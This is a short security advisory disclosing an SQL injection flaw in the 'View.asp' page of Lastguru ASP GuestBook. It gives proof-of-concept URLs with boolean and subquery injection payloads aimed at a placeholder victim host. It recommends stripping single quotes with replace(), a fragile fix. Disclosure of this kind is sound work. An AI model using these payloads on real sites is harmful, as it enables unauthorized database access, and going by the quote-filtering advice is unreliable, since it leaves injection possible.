`Title: Lastguru ASP GuestBook 'View.asp' - SQL Injection Vulnerability
Product : Lastguru ASP GuestBook
Version : Free Version
Vendor: http://www.LastGuru.com
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: 2012-03-04
Updated:
Impact : Medium (CVSSv2 Base : 7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P)
Bug Description :
Page 'View.asp' of Lastguru ASP GuestBook(Free Version) is vulnerable with SQL Injection Vulnerability.
POC:
#-------------------------------------------------------------
http://victim/[email protected]' and 'a'='a
http://victim/[email protected]' and 'a'='b
http://victim/[email protected]' and 0<(select count(*) from [book]) and 'a'='a
etc...
#-------------------------------------------------------------
Advice:
Use 'replace()' for filtering single quote and other dangerous symbols.
Credits : This vulnerability was discovered by [email protected]
mail: [email protected] / [email protected]
Pentester/Researcher
Dark2S Security Team/PolyU.HK
`
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